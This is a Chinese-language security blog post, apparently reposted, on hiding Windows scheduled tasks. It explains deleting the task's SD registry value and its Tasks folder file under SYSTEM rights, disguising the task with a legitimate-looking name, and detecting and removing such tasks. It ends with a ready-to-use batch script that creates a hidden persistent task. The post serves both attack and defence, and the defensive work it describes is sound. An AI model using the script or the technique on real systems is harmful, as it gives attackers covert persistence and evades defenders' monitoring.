0x00 前置知识
筹划任务SCHTASKS
下令

SCHTASKS
/Create 参数
- SCHTASKS
- /Create [/S system [/U username [/P [password]]]] [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day] [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime] [/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]] [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F] [/HRESULT] [/?]描述: 允许管理员在本地或长途系统上创建筹划任务。参数列表: /S system 指定要毗连到的长途系统。假如省略这个 系统参数,默认是本地系统。 /U username 指定应在其中实行 SchTasks.exe 的用户上下文。 /P [password] 指定给定用户上下文的暗码。假如省略则 提示输入。 /RU username 指定任务在其下运行的“运行方式”用户
- 帐户(用户上下文)。
- 对于系统帐户,有效 值是 ""、"NT AUTHORITY\SYSTEM" 或 "SYSTEM"。 对于 v2 任务,"NT AUTHORITY\LOCALSERVICE"和 "NT AUTHORITY\NETWORKSERVICE"以及常见的 SID 对这三个也都可用。 /RP [password] 指定“运行方式”用户的暗码。要提示输 入暗码,值必须是 "*" 或无。系统帐户会忽略该 暗码。必须和 /RU 或 /XML 开关一起利用。/RU/XML /SC schedule 指定筹划频率。 有效筹划任务: MINUTE、 HOURLY、DAILY、WEEKLY、 MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT. /MO modifier 改进筹划类型以允许更好地控制筹划重复 周期。有效值列于下面“修改者”部门中。 /D days 指定该周内运行任务的日期。有效值: MON、TUE、WED、THU、FRI、SAT、SUN 和对 MONTHLY 筹划的 1 - 31 (某月中的日期)。通配符“*”指定所有日期。 /M months 指定一年内的某月。默认是该月的第一天。 有效值: JAN、FEB、MAR、APR、MAY、JUN、 JUL、 AUG、SEP、OCT、NOV 和 DEC。通配符 “*” 指定所有的月。 /I idletime 指定运行一个已筹划的 ONIDLE 任务之前 要等候的空闲时间。 有效值范围: 1 到 999 分钟。 /TN taskname 以路径\名称情势指定 对此筹划任务进行唯一标识的字符串。 /TR taskrun 指定在这个筹划时间运行的程序的路径 和文件名。 例如: C:\windows\system32\calc.exe /ST starttime 指定运行任务的开始时间。 时间格式为 HH:mm (24 小时时间),例如 14:30 表现 2:30 PM。假如未指定 /ST,则默认值为 当前时间。/SC ONCE 必需有此选项。 /RI interval 用分钟指定重复隔断。这不实用于 筹划类型: MINUTE、HOURLY、 ONSTART, ONLOGON, ONIDLE, ONEVENT. 有效范围: 1 - 599940 分钟。 假如已指定 /ET 或 /DU,则其默认值为 10 分钟。 /ET endtime 指定运行任务的结束时间。 时间格式为 HH:mm (24 小时时间),例如,14:50 表现 2:50 PM。 这不实用于筹划类型: ONSTART、 ONLOGON, ONIDLE, ONEVENT. /DU duration 指定运行任务的连续时间。 时间格式为 HH:mm。这不实用于 /ET 和 筹划类型: ONSTART, ONLOGON, ONIDLE, ONEVENT. 对于 /V1 任务,假如已指定 /RI,则连续时间默认值为 1 小时。 /K 在结束时间或连续时间终止任务。 这不实用于筹划类型: ONSTART、 ONLOGON, ONIDLE, ONEVENT. 必须指定 /ET 或 /DU。 /SD startdate 指定运行任务的第一个日期。 格式为 yyyy/mm/dd。默认值为 当前日期。这不实用于筹划类型: ONCE、 ONSTART, ONLOGON, ONIDLE, ONEVENT. /ED enddate 指定此任务运行的最后一天的日期。 格式是 yyyy/mm/dd。这不实用于筹划类型: ONCE、ONSTART、ONLOGON、ONIDLE。 /EC ChannelName 为 OnEvent 触发器指定事件通道。 /IT 仅有在 /RU 用户当前已登录且 作业正在运行时才可以交互式运行任务。 此任务只有在用户已登录的环境下才运行。 /NP 不储存任何暗码。任务以给定用户的身份 非交互的方式运行。只有本地资源可用。 /Z 标记在最终运行完任务后删除任务。 /XML xmlfile 从文件的指定任务 XML 中创建任务。 可以组合利用 /RU 和 /RP 开关,大概在任务 XML 已包罗 主体时单独利用 /RP。 /V1 创建 Vista 以前的平台可以瞥见的任务。 不兼容 /XML。 /F 假如指定的任务已经存在,则强制创建 任务并抑制警告。 /RL level 为作业设置运行级别。有效值为 LIMITED 和 HIGHEST。默认值为 LIMITED。 /DELAY delaytime 指定触发触发器后耽误任务运行的 等候时间。时间格式为 mmmm:ss。此选项仅对筹划类型 ONSTART, ONLOGON, ONEVENT. /HRESULT 为得到更精彩的故障诊断本领,处理退出代码 将采用 HRESULT 格式。 /? 显示此帮助消息。修改者: 按筹划类型的 /MO 开关的有效值: MINUTE: 1 到 1439 分钟。 HOURLY: 1 - 23 小时。 DAILY: 1 到 365 天。 WEEKLY: 1 到 52 周。 ONCE: 无修改者。 ONSTART: 无修改者。 ONLOGON: 无修改者。 ONIDLE: 无修改者。 MONTHLY: 1 到 12,或 FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY。
复制代码 0x01 隐藏筹划任务的创建
1.1 SCHTASKS
下令创建平凡筹划任务
- schtasks /create /TN Calc /SC MINUTE /MO 3 /TR "c:\windows\system32\calc.exe" /U Administrator /F
复制代码- /TN taskname 以路径\名称形式指定
- 对此计划任务进行唯一标识的字符串。
-
- /SC schedule 指定计划频率。
- 有效计划任务: MINUTE、 HOURLY、DAILY、WEEKLY、MONTHLY, ONCE,
- ONSTART, ONLOGON, ONIDLE, ONEVENT.
-
- /MO modifier 改进计划类型以允许更好地控制计划重复
- 周期。
-
- /TR taskrun 指定在这个计划时间运行的程序的路径
- 和文件名。
-
- /F 如果指定的任务已经存在,则强制创建
- 任务并抑制警告。
复制代码
可利用/RU参数指定任务在其下运行的“运行方式”用户帐户
- /RU username 指定任务在其下运行的“运行方式”用户
- 帐户(用户上下文)。
复制代码
默认环境下,很轻易利用任务筹划程序大概autoruns工具查看到
1.2 删除注册表SD记录
此时我们可以通过删除注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\下的SD记录,隐藏筹划任务。
直接利用下令reg delete删除这个值,会提示权限拒绝错误,我们需要system权限才能删除这个记录。
利用psexec得到一个system权限的cmd
PsExec64可到Microsoft的sysinternals下载
https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
删除HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\的SD值
- reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Calc" /v SD /f
复制代码- /f 不用提示,强制删除。
- /v ValueName 所选项下面的要删除的值名称。
- 如果省略,则删除该项下面的所有子项和值。
复制代码
删除后,我们用任务筹划程序大概autoruns查看,都无法看到对应的筹划任务
筹划任务实际还会运行
此时,有两个地方可以看到筹划任务存在。
一是在C:\windows\system32\Tasks目录下会有筹划任务的配置文件,如下:
二是在注册表中也能看到,在Tree下面对应筹划任务的名称和ID,在Tasks下面为筹划任务的实际配置信息:
1.3 删除磁盘上的配置文件
纵然我们删除了磁盘上的配置文件,重启后筹划任务仍会运行,要想找到筹划任务,只能在注册表里面查找。
从攻击方的角度,我们可以将筹划任务名称伪装成常见的合法的筹划任务,疑惑防守方,然后删除筹划任务对应的SD记录和C:\Windows\system32\Tasks下面对应的配置文件,极大地提拔检测和相应难度。
0x02 隐藏筹划任务的检测和清除
1、查看恶意进程父进程是否为筹划任务进程,筹划任务进程一样平常为svchost.exe -k netsvcs:
2、查看日志文件Microsoft-Windows-TaskScheduler%4Operational.evtx中事件ID 200/201/102关于筹划任务的实行和完成环境:
假如没有日志,可以在任务筹划程序里面临时开启(应急完成后,假如不需要可以关掉,但建议开启):
3、检查在C:\windows\system32\Tasks下是否存在实行恶意文件的筹划任务配置文件,有的话提取相关证据后删除,假如没有,我们只能在注册表中进行搜索。
4、检查注册表如下2个键:
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree
在Tree下面找到恶意筹划任务名称后,根据ID的值在TaskCache\Tasks下面找实际的配置数据。提取相关证据后删除上面2个记录。
5、重启筹划任务服务大概系统。假如要重启筹划任务服务,需要以system权限操纵,管理员无权限:
在系统大概服务重启后,将会完全清理筹划任务。对于运行恶意exe的筹划任务,也可以直接删除可实行程序,这样纵然筹划任务可以运行,但是进程也实行不了。但对于利用powershell 无文件运行恶意进程,只能通过重启服务大概系统实现完全清理。
0x03 总结
利用筹划任务进行权限维持之前利用已经比力多了,但创建隐藏筹划任务目前利用的还比力少,对于攻击方,可作为权限维持和防御规避的手段之一,作为防守方我们也需要了解如何对这种攻击手段进行检测和相应。
- C:\Windows\system32>schtasks /create /TN \Microsoft\Windows\WlanSvc\Autopilot /SC MINUTE /MO 3 /TR "c:\windows\system32\calc.exe" /RU Administrator /F
- 成功: 成功创建计划任务 "\Microsoft\Windows\WlanSvc\Autopilot"。
- C:\Windows\system32>reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\WlanSvc\Autopilot" /v SD /f
- 操作成功完成。
- C:\Windows\system32>del C:\windows\system32\Tasks\Microsoft\Windows\WlanSvc\Autopilot
复制代码 bat脚本
- %~1 计划任务位置
- 格式
- 建议放置\Microsoft\Windows下
- %~2 要执行的命令 或运行的脚本、程序。
- 绝对位置
- %~3 每多少分钟执行一次
复制代码 需要以system权限实行
- @echo
- off
- schtasks /create /TN %~1 /SC MINUTE /MO %~3 /TR "%~2" /RU Administrator /F
- reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree%~1" /v SD /f
- del %SystemRoot%\system32\Tasks%~1
复制代码 参考资料
https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/
https://attack.mitre.org/techniques/T1053/005/
https://mp.weixin.qq.com/s/CM-Z-2ljHHZM2XO_7EzXGw
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |